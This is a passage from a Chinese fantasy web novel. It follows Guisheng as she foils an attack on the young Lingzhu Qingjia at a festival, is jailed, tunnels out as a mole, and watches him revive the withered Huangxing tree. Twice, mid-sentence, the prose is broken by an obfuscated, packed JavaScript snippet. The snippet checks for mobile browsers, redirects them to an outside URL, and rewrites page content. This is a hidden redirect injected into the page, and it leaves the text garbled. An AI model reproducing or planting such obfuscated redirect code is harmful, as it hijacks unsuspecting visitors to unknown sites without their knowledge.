令人震惊的是,莲华殿自成立以来,到了三百年前,已经换过了近百代灵侍。 五方域境之中,修士的寿命虽然漫长,身体也比凡人更加抗造,但并不意味着有了一副不死之身,伤及心脉、被妖魔杀害、修炼过度走火入魔……都会造成修士的死亡,死法要多千奇百怪有多千奇百怪。 而莲华殿的灵侍之所以频频换代,正是因为“走火入魔”这项缘由。 这正与归笙此行来的目的——“莲华境”息息相关。 前面提到,灵侍有各自的主要修类,但除此以外,他们还要统一修炼莲华殿的独门术法,也即莲华境。 至于这莲华境究竟是干什么的,这本百解只给了十二个字的注解: “观往生,窥天机,易千秋,济世情。” 归笙:“……” 这描述玄玄乎乎的,她下午就没看懂,这会儿也依旧一知半解。 不过也能理解,若是连独门术法都在外发的书目上详尽解释,那这莲华殿就委实有些缺心眼了。 结合一隐的说法,莲华境的术法和时空有千丝万缕的牵系,且和玄婴族的噬空术相比,更偏重与时间的关联。 和时间能玩出什么花样,无非就是回溯过去?或者穿越未来? 但不论是哪一种,都是一种很恐怖的能力。 所以,莲华境的力量不是谁都承受的,因而曾有无数灵侍葬身于莲华境的反噬之下。 归笙下午读到此处,第一个念头是:那不修练这个术法不就好了吗? 然而此时再次回顾,不免感慨自己念头的幼稚:莲华殿能以一己之力掌握西漠,且千百年屹立不倒,自然有其无可替代的倚仗,想来莲华境的术法正是其中之一。 可任由一代代灵侍走火入魔而亡也不是个办法,于是三百年前,莲华殿总算寻得了破解之法:在当代灵侍中挑选出修炼莲华境最为出色者,通过髓华引渡之术,将其他所有灵侍的反噬悉数引渡至其一人身上。 这个被挑选出来的人,便是“灵主”。 这法子听来十分惨之无人道,仿佛舍弃一人保全所有人,但实际上,对于真正有天赋修炼莲华境的修士而言,化解反噬不过举手之劳。 最重要的是,这灵主也并非全然是个被莲华殿挑出来多干活的大怨种,与其他灵侍相比,灵主拥有独一无二的照看煌星木的职责。 说是“照看”,其实意味着他可以在整个西漠灵髓最为充沛之处修炼,修为精进一日千里,不在话下。 中州宗门辗转倾轧,北原妖魔为抢夺地盘厮杀,为的不过就是离灵源再进一步,攫取的灵髓更多一些,可见这赋予灵主的职权,是一种何等优渥的条件。 就这样,在三百年前,莲华殿选出了西漠的初代灵主。 夜风送来清雅的莲香,归笙放下手头的书籍,抬首望向窗外,发现祈灵祭典的仪仗已然来到客栈前。 归笙立刻闪身出门,一路赶到客栈门口,然而一只脚才挤出门槛,就再难前进一步。 因为参观祭典的城民实在太多了! 眼见人流堵住了门口,归笙便也不执著,索性就站在门槛上张望。 谁知这客栈的门槛年代久远,只听“咔哒”一声,归笙足底猝然塌空,身形一个前倾,便被卷入了滚滚涌动的人潮。 归笙:“……” 一番身不由己的脚不沾地后,归笙好容易再次站稳,竟然因祸得福,站到了观祭人群的前端,几乎紧挨着仪仗队伍的边缘,和云辇旁随行的莲华殿灵侍仅隔半步之遥。 风色徐徐,斑斓的灯影间,云辇两侧的莲瓣轻舒曼舞,柔柔擦过归笙的脸颊,撩起细细密密的痒意。 耳畔人声鼎沸,归笙自然而然地为这股热切的氛围感染,下意识地伸长脖子,想越过那层叠缭乱的莲花云雪,将那辇中的情形看得更真切些。 事实上,她也轻易地看到了。 只见那珠帘纱幕后,辇中之人一手支颐,另一手有一搭没一搭地摆弄腕上咒珠,姿态闲适,与归笙想象的肃穆端坐截然不同。 莲华殿的灵主,竟然就那样毫不设防地坐在那里,除了一缎覆面的白纱,令人辨不清其容颜外,便再无其他的防备。 归笙看着那缎摇曳的白纱,忽觉一阵头晕目眩。 “姑娘你……你流鼻血了!” 身旁的人惊恐地递给归笙一只巾帕:“虽然我们灵主的确姿容绝世,但他此行覆着面纱……姑娘你不、不至于吧……” 归笙:“……” 谢谢,但她真的没色急攻心到这种程度。 归笙凄风苦雨地接过手帕,堵住两只血流不止的鼻孔。 身周的城民皆是一言难尽地瞥她,归笙深感无力,有心为自己的道德操守辩解,却发不出一丝声响。 因为就在方才,她朝云辇内望去时,有人自身后按了她的脊背一下。 没给她任何躲避的时机,一股强悍的髓华瞬时贯入她的身体。 此时此刻,那髓华正在她的体内掀起罡风。 这样下去,不止是鼻孔,很快她的眼唇也会流出鲜血。 归笙强忍疼痛,压下满腹疑云,暗暗巡视四周。 身旁的其他城民并未受到干扰,仍旧沉浸在浓烈的观祭氛围中,兴高采烈地追随那架云辇远去。 可知那动手的人并不意在大范围杀伤,就是针对她一人来的。 但这种地方,这种时候,谁会突然对她出手? 对她出手的目的,又是什么? 不过很快,归笙就分不出心神思考了。 因为真的太太太……太疼了! 这髓华阴冷潮湿,蝮蛇一般在她的五脏六腑间横冲直撞,绞缠她的筋骨,撕咬她的血肉,似乎不把她逼出痛叫不罢休。 归笙小声抽着气,咬着牙,默默运转起四爻。 盾开,却比先前在中州与叶晦对峙时,要开得艰难迟滞数倍。 西漠的灵髓,当真稀薄得要命。 不过,也够用了。 核桃壳护住肉身,并一点一点地卸去那股作祟的髓华。 那髓华察觉她的抵抗,顿了一下,当即更加猛烈地反扑。 好在她的核桃也不是吃素的,将那反扑的攻势尽数吞下。 两股力量一时难分上下,呈僵持之势。 就在这时,归笙用来堵鼻血的那片巾帕霍然腾起。 只见那巾帕抽丝成条,化作一簇煞白扭动的细蛇,皆是满口尖齿,归笙猝不及防,一瞬之间便被咬了数口。 手臂瞬间麻了大半,归笙想甩脱这条咬人的巾帕,然而身侧人流汹涌,一甩就会甩到无辜之人的身上。 归笙只得生生承受下来,咬着牙,回头。 只见方才递给她巾帕的男子,不知何时已退到人群边缘,正悠悠望着这边。 归笙震骇不已:观祭人数数以万计,她所站的这处更是人墙层叠,堵得水泄不通,这么短的时间里,那人是如何神不知鬼不觉地退到外围的? 若是修士的术法,必然会引起骚动,至少她会有所察觉,可是事实是她毫无察觉。 他是如何做到的? 不待归笙深想,隔着数十排人,那男子对上她的视线,忽而微微一笑。 分明是一张普通至极的皮相,挂着的笑容亦平淡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745418|189864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寻常,却无端令归笙四肢百骸都生出寒意。 他轻轻启齿,做了个口型:“破。” 下一瞬,叼住归笙手臂的细蛇蜕去外皮,削去骨肉,直抽作一丝一缕的银白纤毫,千万根微不可察的银针般刺入长空,直指前方那架毫无防御的云辇。 飕飕的阴风刮过耳际,观祭的城民被此处异响惊动,纷纷回首。 归笙再顾不得会不会破坏祭典,心如死灰而手脚麻利地祭出二爻寻觅,紧咬住那些“唰唰”飞远的银针样的玩意儿,纵身跃出人流,踏入半空,飞檐走壁,穷追不舍。 那银针可都是从她手上飞出去的,若那云辇真有个三长两短,这刺杀灵主的帽子是一定会扣到她头上的! 就算救不下来,表演还是要表演一下的,不至于之后被提审的时候百口莫辩。 一声声惊叫被归笙甩在身后,她死死盯牢那簇已在云辇顶部聚合的银丝。 无数银丝聚拢作一柄三尺白刃,对准云辇,劈斩而下。 偏偏云辇中的人对此无知无觉,甚至还倾身出辇,摘了朵莲花凑到鼻尖轻嗅。 本来那白刃只是对准他的腿,这会儿是直接对准他的脖子了! 归笙简直要尖叫了,好在她也赶到了,只是已经来不及握住那柄斩首的白刃了。 电光石火间,命苦的归笙只得退而求其次,疾行至那不知死活的灵主前方,同时祭出三爻,照准白刃对冲攻去。 “当——” 白刃被震飞。 刃身化作银色的碎屑,漫天纷扬而下。 那碎屑擦过归笙的脸颊,是一种轻薄粗砺的古怪质感,竟有点像是纸屑。 不过管它是纸屑铁屑还是头皮屑,总算是虚惊一场。 为了不直接从数丈高的辇车上凄美地摔下去,归笙一手攀住辇顶,吊在辇座前,晃晃悠悠地稳住身形。 归笙松了口气,又吸了口气。 因为周围死一般的寂静,无疑已经宣告,她今夜是无法善了了。 不过至少,辇中之人除了呼吸微凝,好歹是顺利救下来了。 事已至此,不会再有情况比眼下的情况更糟糕了,归笙索性决定破罐子破摔。 她无比松弛至极地低下头,打算确认一下自己救下的人是否见血。 却见手臂上不知何时挂了一缎白纱,飘飘荡荡的,恰好阻隔了她看向辇中的视线。 归笙:“……” 这白纱,好像,有点眼熟啊。 夜风仿佛知悉她心中所想,体贴而适时地吹来,温柔地将白纱吹落,眼前之景犹若白雾弥散。 首先映入眼帘的,是一痕殷红的朱砂。 朱砂缀在那人玉白的眉心,似一抹红梅落雪的笔画。 眉峰之下,又是另一种纯净的色泽,那一双清黑的瞳眸,如冰川冻融的湖水,正有淅沥的冷雨碎落湖面,漾开层层惊愕的涟漪。 乌鬓簪满星华,柔丽的长发披在一侧肩头,只用一条浅色的发带随意挽住,却半分不显得潦草,反将那素袍下的身形勾勒得越发颀秀。 若是寻常,忽逢此般人间绝色,归笙定要好好地欣赏一番,断不会如此看了几个关键的点,便草草了事地掠过。 无奈此时此刻,她只有一个念头不合时宜地往外冒: 西漠当今的灵主,竟然这般年轻? 由于天霄派的前任掌门被她师母打残,事出突然,作为继承人的云起凡不得不匆匆继任掌门之位,但即便仓促,那时他也年过半百,不算小辈了,而且他担任掌门的天霄派,还只是中州数百门派之一。 而眼前这个明显与她年岁相仿的少年,竟然是整个西漠的灵主? 西漠的域境还比中州要大上一圈呢! 他这年纪真的能扛事吗?莲华殿当真无人到了这种地步? 归笙没能为西漠的前途担忧太久,便觉四肢百骸间涌上一阵剧痛。 正是之前被那男子暗算所致,被她强行镇压下去的剧痛。 归笙鼻尖一热。 “啪嗒。” 一声轻轻的滴响。 归笙和辇中的少年同时瞪大了眼。 后者的眼睛要瞪得更大一些,且伴随着无法相信的破碎神情。 他僵硬地抬手,摸了摸自己的侧脸。 指尖,一滴鲜红的鼻血,闪闪发光,十分耀眼。 灵主:“……” 归笙:“……” 10. 清心咒 “色即是空,空即是色,美色如幻,幻影无常……” 归笙:“停停停!” “贪恋形色,欲海沉浮,悲苦无涯,回头是岸……” 归笙捂住耳朵,怆然悲鸣:“好好好!我悟了大师!别念了大师!” “宁心静气,方得始终……” 归笙:“……” 两个时辰后,牢外的小灵侍停止诵咒,看向牢内疑似失去理想的姑娘。 见后者一副四大皆空万念俱灰的模样,小灵侍摇了摇头,语重心长地道:“姑娘,这已经是作了词的趣味版本的清心咒了!如果是换成我们灵主来念,那便是有咒无词,效果虽然更好,却也更为折磨,姑娘你知足吧!” 归笙答曰:“啊……哦……嗯……” 小灵侍见这姑娘好像真的要撒手人寰了,大惊失色,连忙放柔声音安慰道:“姑娘,你在众目睽睽下悍然打断祈灵祭典,妙慧灵祖只是罚你在水月牢中待满七日,每日一听清心咒洗心濯性,已经是万分宽宏的处理了……” 灵祖是什么东西?灵主的祖宗吗? 归笙艰难地运转了下被清心咒摧残到迟钝的脑壳,回想《莲华百解》上的内容。 哦,每代灵侍如果幸运地没走火入魔,活下来进阶为莲华殿的长老后,会从中选出一名综合能力最强者,担任整个莲华殿的掌事人,负责培养下一代灵侍,遴选下一任灵主。 归笙奄奄一息地对小灵侍点点头,表示感念灵祖恩情,又气若游丝地为自己的人品辩解:“我说我不是故意捣乱……是当时有人要杀你们家灵主……你们信吗?” 出乎意料的,小灵侍郑重其事地一颔首:“信的!灵祖当时确实察觉到一种异样的气息,并不来自于姑娘你,想来是来自真正的刺客,莲华殿正在紧锣密鼓地追查此人!” 他面容端肃,正气凛然地道:“所以灵祖命我每日前来诵读清心咒,只是追究姑娘你对着灵主流鼻血一事。” 归笙:“……原来如此,真是抱歉,你们家灵主他还好吧?” 她本是出于礼貌随口一问,毕竟被揭个面纱滴一滴血,在她看来远远没到需要谈论好不好的地步。 谁知一听此言,小灵侍的面容倏然惨淡下来。 归笙:“……?” 他这表情,她那滴鼻血该不会给人灵主毒死了吧? 在归笙惊恐的注目中,小灵侍先是缓慢而沉重地摇了摇头:“祈灵祭典后,灵主闭门不出,沐浴了整整三日,十分令人担心他的心理状况。” 又想起什么,勉强地点了点头:“不过在妙慧灵祖的开解与敦促下,灵主今日已照常出席诵咒了,真是令人开心!” 归笙:“……” 沐浴了……整整三日…… 有必要吗…… 小灵侍拎起藏在蒲团后的食盒,从牢柱的缝隙间递给忧伤掩鼻的归笙。 “姑娘,莲华殿食材稀缺,三日才布一次饭,前三日招待不周,还望见谅。” 归笙的忧伤一扫而空,两眼放光地扑过去,一边道谢一边火速接过食盒。 饭!新鲜的饭! 自从离开栖雪峰后,她即将吃到的第一口正经的饭! 归笙揭开盒盖,埋头开始扒饭。 虽然味道没她师兄做的合她口味,但尝得出是用心烹制的,且菜品也比栖雪峰的要丰盛许多,归笙幸福得眼泪都要喷出来了。 小灵侍见她沉浸在饭菜的鲜香里无法自拔,微微含笑,默不作声地退了出去。 归笙一阵风卷残云地炫完了饭,前三日惨遭那劳什子清心咒荼毒的精神状态终于回归正常。 她就地盘腿调息,阖起双目,调动神念在肉身中游走,探查自己当下的身体状况。 嗯,半死不活地躺了三日,在祈灵祭典上被那贼人偷袭的伤势总算好转了许多。 那个贼人!之后要是让她逮到了,定要将他锤成一滩纸屑! 在心底放完狠话,归笙一骨碌爬起来,在牢里走来走去。 这是自打她下牢以来,头一回认真打量这座“水月牢”。 归笙目前看不出这牢狱和“水月”二字究竟有何关联,不过转了一通后,倒是打心眼里认为把这地方称作“牢狱”实在是委屈它了。 牢内非但环境干净整洁,坐卧用具一应俱全,墙角甚至还摆放着一张书案,案头齐整列放着数摞书卷,远比她在栖雪峰的狗窝要来得像个正经住处。 归笙走到书案边,随手抽出一本书卷,不出所料地在封皮上看到了一个“咒”字。 正如剑修施展剑招的载体是佩剑,法修施展法术的载体是法阵,莲华殿的灵侍修炼莲华境,所用的载体便是“咒”。 先前在《莲华百解》上读到的莲华境相关阐述非常有限,眼下正是进一步探索的良机,归笙自是不会放过,当即一目十行地翻完了案上的所有咒卷。 翻完后,归笙的第一反应是:难怪那么多灵侍都走火入魔了,真的怪不了他们心志不坚定。 让她来修炼这种东西,她能连夜叛出莲华殿。 原来莲华境不是某一种术法,而是一个极其庞杂的术法体系,其下涵盖的咒术浩如烟海,大到逆转枯荣、驱策光阴,小到除尘、浣衣、叠被,可谓无所不包,无奇不有,这书案上陈放咒卷不过是冰山一角。 偏偏这些咒术还存在内部的牵连,修炼了这一个就不能不修炼那一个,修炼了那一个就不能不修炼其他的更多个……否则全部都用不了。 然而就算迎难而上地统统修炼完,由于不同的咒术间只有微末的差别,有极大的诵咒诵串了的风险,想来也是容易走火入魔的原因之一。 归笙:“……” 能将这种坑人的术法修炼得登峰造极,各代的灵主也堪称神人了。 这得有多耐得住寂寞,忍得了枯燥才能啃下来啊! 归笙知难而退地将一众咒卷堆放回去,掉头回到床榻边,开始团巴被褥。 现在,该干正事了。 将被褥团成条状,又贴了只六爻的核桃片在上头,使之化出她的身形。 站在牢外望过来,就像她背对着牢柱躺在榻上睡觉。 大功告成,归笙拍拍手,将六爻往自己脑门上一磕。 “噗”的一声,归笙不见踪影,地上却多了只肥肥短短的地鼠。 幻形作地鼠的归笙满意地瞧了瞧自己的一排铁爪,又敲了敲鼻头下两板钢筋似的门牙。 六爻的幻形可不是一板一眼地照抄原物,是可以针对细节进行改进的,所以她特地给自己配备了这么一副金刚不坏的家伙,绝对挖穿铜墙铁壁都不在话下。 那还等什么? 归笙瞄准方才转悠时发现的开裂墙角。 开挖! 一路连刨带啃,钻地而下,归笙很快就将水月牢的地面遥遥甩在头顶。 黑暗中,归笙鼠爪一停,打算抛出二爻,确定接下来该挖往何处。 却毫无征兆地,四面狭小的地道开始坍塌陷落。 归笙震惊:怎么回事? 总不能是她给人地底下挖塌了吧? 那这莲华殿的地基也太脆弱了吧!一只地鼠都能给它挖塌了啊?! 归笙崩溃间,只觉身周天翻地覆,尘屑飞扬,泥土四溅…… 视野明明灭灭,混沌不堪,却最终,在下方显出一方逼仄的空间。 那空间四四方方,似一座密不透光的地下囚笼。 笼中锁链重重,纵横交错,尽数缚向笼底中央的一道身影。 刹那间,归笙连自己的处境也忘却了。 心口像被一只无形的手攥紧,窒闷到几乎无法喘息。 归笙看着那道身影,无意识地抓住胸口,控制不住地向外撕扯,想要缓解这股无端而深重的难受。 日月交替,零星的光亮间,她看到那人伤血淋漓地伏在笼底,乌发散乱,衣衫褴褛,露出的一截手腕上,一道道火燎的疤痕触目惊心。 而在那人身下,是满地零落泛黄的咒卷。 即便已被打入地牢,锁链加身,那人也依旧执笔,在那些咒卷里执着地寻找着什么,反复推演着什么,以至于咒卷、笼柱、袍角,无一不爬满了凌乱不堪的字迹。 归笙喘着气,竭力定睛,想要看清那些字迹,却像是隔着一层灰蒙的水幕,一层朦胧的月纱,怎么也看不清晰。 只能通过那曲折到颤抖的笔锋轮廓,触摸到字里行间心血焚烧的悲凉温度。 既然看不清写的什么,那至少要看清这人的样子吧。 归笙攒起力气,一头朝那囚牢扎下去。 却是“咚”的一声,四脚朝天,弹回原地。 归笙捂着脑袋爬起来,一时忘了反应。 眼前的地道,除了方才被她一头撞出的一处凹坑外,完好无损。 别说那道被锁链囚禁的身影,就连那所谓的囚笼,也根本不见踪影。 ……什么情况? 归笙惊疑不定,伸出鼠爪,试探地推了推四面的土层。 土层坚固牢实,岿然不动,一点也不像是才塌过的样子。 怎么回事?那她方才感受到的塌陷、看到的人影是什么? 莫非是她掘地掘得太快,气不够喘,出现幻觉了吗? 归笙怔怔的,总觉得哪里不对,肩头却忽然一沉。 她一个激灵,霍然回首。 四只鼠眼瞪瞪相对。 “……” 看清归笙的鼠头,对面的地鼠放下警惕。 归笙从它的鼠眼里读出了:哦,原来是同类。 那地鼠一扭头,对着后方一挥爪子。 随即,地道中响起山呼海啸般的地鼠啾鸣,无数双绿豆大小的眼睛腾腾亮起,并有条不紊地四散开来,开始各有分工地挖起了地道。 归笙目瞪口呆:不是,莲华殿就这么放任这些地鼠在殿底下挖地道吗? 她心念电转,对那打头的地鼠吱吱叫唤了两声,表达的意思为:你们要做什么?带我一个。 地鼠头子鼠须一扬,打量了一下她的利爪门牙,当即热情地拉她入伙,将她领到了一条地道前。 大概是考虑到她是新手,派给她的这条地道土质松软,几不成型,一看便知已被挖过了成百上千次,且前不久刚被人敷衍地填上。 归笙眨了眨眼:看来这条地道是通向什么物产丰富的地方啊,所以才让这帮地鼠如此念念不忘。 她婉拒了前辈地鼠的热心指导,娴熟地抡起钢牙铁爪,几次眨眼的功夫,便无比顺畅地挖穿了这条千疮百孔的地道。 扒拉开道口的最后一点土块,归笙刚从中冒出个脑袋,一道目光便从下方掠了上来。 那目光并不咄咄逼人,却如有实质,像是隔空在她脑门上拍了一记,吓得归笙险些一个仰倒掉回地道里,连忙伸爪扒住道口的石子,稳住身形。 待她定神,再度朝下望去时,那道目光却已习以为常地收了回去。 归笙正要追着望过去,却陡然被来自背后的重量压趴下了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745419|189864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 身后的地鼠一拥而上,一个接一个地踩着她的脑袋,窜出甬道,爬过房梁,倒挂纱帘,直至为首的一只地鼠抵达墙角的一座水晶莲像旁,随后的数十只地鼠有序列作一条长长连缀的队伍,开始紧锣密鼓地运送供奉在莲像前的贡品。 原来这些地鼠是冲这一间殿堂里的贡品来的。 归笙灰头土脸地爬起来,插了个队,来到一处视线开阔的方位,一边加入运送贡品的队伍,一边悄然观察起大殿正中的两道人影。 两道人影一站一跪,显然是一个训话惩戒的现场。 跪着挨罚的那位,正是她钻出甬道时投来一眼的少年。 好巧不巧,也是那位沐浴了整整三日的爱干净的灵主。 不过归笙觉得他今日回去还得沐浴,因为他这会儿跪着,不仅素白的袍摆脏变得脏兮兮的,额角颈间也是汗涔涔的,把脊背都浸湿了。 归笙万分纳罕:原来灵主在莲华殿内,也是要受罚的啊。 不过想起《莲华百解》上的文字,倒也解释得通了——所谓“灵主”,只是这一代灵侍里莲华境造诣最高者,本质就是个不掌权的弟子。 只是…… 归笙瞧了瞧少年那被汗水打湿的乌发,沾在玉白的皮肤上,似墨云横雪岭,美轮美奂。 只是跪一下就累成这样? 这灵主不仅年纪小,身子骨是不是也太不强健了点? 没忍住又看了会儿,归笙恍然:大概是他肩头那两尊水晶莲的锅。 那水晶莲看似轻盈,实际上恐怕重逾千斤,时不时把那位灵主压得一个晃荡,却偏偏他还得跪得笔直。 这殿中一共两人,这水晶莲的惩戒术法来自何人,不言而喻。 站在灵主身前的女人鬓发如霜,仪态端方,一袭久经岁月的雍容气度,又因那慈悲宽纵的白眉,眼角平和舒展的细纹,而并不显得高高在上。 就在这时,女人唇齿微启,嗓音是温和悲悯的,但语气非常严厉:“一滴鼻血而已,就令你整整三日闭门不出!若非为师今日下了死令,你今日恐怕又要赖在浴池中呆一整天!如此为琐事所扰,修炼该如何精进?” 归笙:“……” 灵主垂头,貌似万般恭顺地道:“是,灵祖教训的是,弟子知错了。” 见他认错态度诚恳,惩罚的时限也已告罄,妙慧灵祖上前两步,抬手一拂,那两尊水晶莲顿时化作白烟消弭。 压肩的重量陡然消失,灵主身形一晃,勉强撑稳。 到底是自家的弟子,罚过了又于心不忍,妙慧灵祖对他递出一片白绢道:“擦擦汗。” 灵主双手接过白绢,依言擦了下脸。 却不是汗的位置,而是被滴到鼻血的位置。 妙慧灵祖:“……” 归笙:“……” 服了,就和她那滴鼻血过不去了是吧! 擦完后,灵主变得心情很好的样子,语气也轻快了许多:“灵祖的教诲,弟子定当牢记于心,灵祖若无他事,弟子便先行告……” “吱——!” 一声凄厉的鼠叫盖过了灵主请辞的声音。 一对师徒双双转头,看向殿中这一溜被他们刻意忽略的不速之客。 发出惨叫的,正是归笙所扮演的地鼠。 因为她被她隔壁的地鼠殴打了。 她方才光顾着观赏眼前这幕师慈徒孝,一不留神,传送的贡品掉脱了手,她隔壁的地鼠见状,当即一声尖叫,扯着她的鼠须开始教训她的渎职。 这边归笙在惨遭殴打,那边掉落的苹果贡品“骨碌碌”滚出去老远,即将滚上灵主的袍角时,被他轻飘飘地避开。 灵主垂眸扫了眼那苹果上泥兮兮的鼠爪印,又退了一步,才道:“西漠万灵供奉给莲华殿的贡品,就这样进了地鼠的肚子,未免有些浪费。” 妙慧尊灵祖不甚在意地道:“侍奉万灵,此乃莲华殿的立身之本,倘能接济这些小家伙一番,也不失为一桩善事。” 灵主深以为然地点点头:“嗯嗯,得到接济的地鼠生了一窝又一窝,上蹿下跳四处打洞,迟早有天蛀空这座本就缺工少料莲华殿,届时可就得不偿失了,毕竟莲华殿没钱修缮啊。” “不如,”他好心请缨,“弟子替师尊将这些小生灵一次性处理掉?” 妙慧灵祖震愕不已,劈头盖脸地呵斥道:“你是灵主,怎可生出这般荒唐的杀生之念?” 灵主报之一笑:“有言道:穷山恶水出刁民,西漠灵髓贫瘠,养出弟子这尊刁主也不足为奇。” 妙慧灵祖:“……” 灵祖沉默片刻,蓦地感应到什么,当即决定不和此等逆徒白费嘴皮。 她一挥手,一朵巴掌大的水晶莲座自她袖间悠悠荡出。 那莲座通体澄明剔透,由纯净的髓华聚拢形成,光是这么看着,便能令人心神安定。 归笙方才逃脱鼠爪,正在感慨这莲座好生漂亮,就见那莲座直挺挺地向她驶来。 归笙:“???” 下一瞬,莲瓣散作游丝,铺天盖地袭了过来。 逃脱不及的归笙顷刻被裹成了一只鼠蛹,只露出一双惊恐的黑豆眼睛。 游丝将归笙绑上莲座,又复原为水晶莲座,徐徐飘至灵主的身畔。 “莲华殿外有异动,似乎出了什么事,为师得去察看一番。” 妙慧灵祖一指莲座上的鼠蛹,对灵主道:“你且对着这只明显患有痴傻之症、遭到同类冷待虐打的地鼠,好好蕴养你的善念,清伽。” 11. 镜显术(上) 妙慧灵祖离开了。 殿中只剩下一人一鼠面面相觑。 少顷,清伽转过身,也向殿外走去。 莲座无风自动,仿佛一只系了引线的风筝,无形的线头绕在清伽的腕上,他走到哪里,莲座便跟着飘到哪里。 走出大殿,殿外廊腰缦回,砖瓦如镜,如日日悉心洗濯涤清,历历照人。 归笙扒住莲座的边沿,鼠鼠祟祟地思考:这是要去哪里? 虽然妙慧灵祖让这位灵主对着她蕴养善念,但几个照面打下来,她觉得这位灵主将她偷偷拿去喂蛇的可能性更大一些。 略微被自己的想法吓到,归笙将鼠脸埋进莲瓣,努力降低自己的存在感。 然而她忽略了一件事——六爻术法的影响极强,她幻形作地鼠后,有些本能是会原模原样地复刻过来的。 前方的人蓦地出声:“如果不想原地化出人形,就放下那颗莲子。” 他并未回首,却似能洞悉身后的景象。 归笙一惊,低头一看。 原来不知何时,地鼠的本能令她将嵌在莲座里的一颗莲子扒了出来,正送到口边,将啃未啃。 “……” 差点忘了,西漠的灵髓可以让动物成精,灵怪化形。 这水晶莲既是灵祖的术法造物,莲子自然内蕴髓华,一口吞下去,绝对能让一只普通的地鼠化形。 归笙掐着莲子,啃也不是,放也不是,拿不准这位灵主是否在诈她。 放下莲子,便暴露了她能听懂人言。 不放下莲子,坚决下嘴却没有化形,就证实了她不是一只普通的地鼠。 两难之际,清伽恰好转过一处回廊,莲座紧随其后,戛然转弯。 归笙灵光一闪。 她鼠爪一松,手中的莲子便呈弧线飞了出去,消失在了拐角处。 见状,归笙满意地搓了搓鼠爪:这样就不用纠结放不放了。 莲子掉地的动静不算小,清伽终于回头瞧了一眼。 归笙对他无辜地眨眼,缩回空空如也的鼠爪,伤心地“叽”了一声。 清伽牵了牵唇角,评价道:“这都拿不住,看来果真患有痴傻之症。” 归笙:“……” 这态度,肯定是要把她拿去喂蛇吧! 归笙嘀咕着,眼前骤然一花。 竟是转过回廊后,那些不久前才被她感慨过“光亮如镜”的殿墙砖瓦,此刻果真化作了千百面一尘不染的明镜。 前后、上下、左右,无处不在的镜面,瞬间将走在其间的一人一鼠照出成千上万副重影,晃得归笙一阵头晕目眩,几乎辨不清自己的真身究竟在哪里。 哪来的这么多镜子……镜子! 猛然想起自己此行为何而来,归笙精神一振,当即硬着头皮去看那些镜子有何蹊跷。 却见清伽步伐不停,施施然踏入一面镜中,而莲座亦步亦趋,带着归笙,风驰电掣地撞向那冰冷坚硬的镜面。 归笙:“……” 陷入短暂的黑暗后,归笙捂着脑袋,小心翼翼地睁开眼。 她的第一个反应是:很好,没有一头撞死。 第二个反应是:这给她干哪儿来了? 如同来到了另一方时空,方才的莲华殿塔、塔中镜面,尽数不见。 此时此刻,但见大漠长空,流星飒沓之下。 一座巍峨苍翠、形似山峦的庞然大物,以九天悬瀑、沧澜奔流的姿态,自万丈高空倾泻而下,墨绿棕褐,交织翻涌,注入漫无边际的浩荡黄沙。 但归笙知道,那不是山,也不是山洪。 那是一棵树。 一棵巨大的、已然枯死的树。 有多巨大呢? 仅仅是盘虬在底部,裸露在地表的根系,就比整座莲华殿来得高大了。 而那树干上蔚然成景的苍翠,也并非树木葳蕤的叶片,不过是经年不曾清理的虫藓,寄生在树皮表面生长堆积,腐蚀攫取着枯干中残存的养分。 死了都能供虫藓繁衍出一座绿色的山来…… 归笙头皮发麻。 这棵树活着的时候,该是一幅怎样的繁茂昌盛之景啊。 一番观察下来,归笙几乎能够判定—— 眼前的巨树,正是那死于焚城之焰中的,西漠唯一的灵源,煌星木。 对了,灵主有照看煌星木之责。 归笙抬眸,果然望见清伽那道淡白的身影,已经走到了煌星木的一道根系旁。 他身形颀长,却在那苍龙般的树根衬托下,只如一片白鳞渺小。 归笙心生疑惑:这树都死了,还有什么能照看的? 下一刻,清伽的举动便给了她答案。 他抬起手,将掌心覆在了那干枯的根系上。 掌下髓华流转,澄澈的月光般,一点一点地浸入树干,源源不断,生生不息。 显然,清伽在试图唤醒煌星木的生机。 只是,他的髓华与整棵煌星木相比,至少从体量上来看,实在如泥牛入海,徒劳无功。 看得归笙不由惴惴怀疑:这真的能救活么?真的不是在白白浪费髓华么…… 慢着。 归笙倏然瞪大了眼。 只见髓华环绕间,凋敝的树根徐徐浮起一层盎然的青意,有微小稚嫩的树芽从中探出,逐渐生长、抽条、蔓延,一阵自树底旋起的翠色旋风般,蓬勃向上,直冲云霄。 这是……救活了? 归笙不可置信,拿起鼠爪把眼睛擦了又擦,才确认自己没有看错。 煌星木真的长出了新枝! 可既然如此轻松,为何不早点救活它呢? 那样的话,西漠的灵髓也不至于干涸至如今造成修士反噬的境地…… 而且更奇怪的是,面对眼前死而复生的一幕,一手救活煌星木的人却丝毫不见喜色。 清伽微微抬首,望着那些新生的枝条节节攀升,眸光沉静,像是在等待着什么。 木叶生长掀起的狂风,吹卷起他素白的云袍,猎猎翻涌,回风流雪。 归笙本想随他的视线抬头,去看上方有何端倪,却在一眼掠过他的袖口时,视线凝固。 袖袍鼓荡,露出线条优美的手臂。 本该是赏心悦目的美景,却因那手臂上纵横交错、密密麻麻的狰狞疤痕,只能让人感到触目惊心。 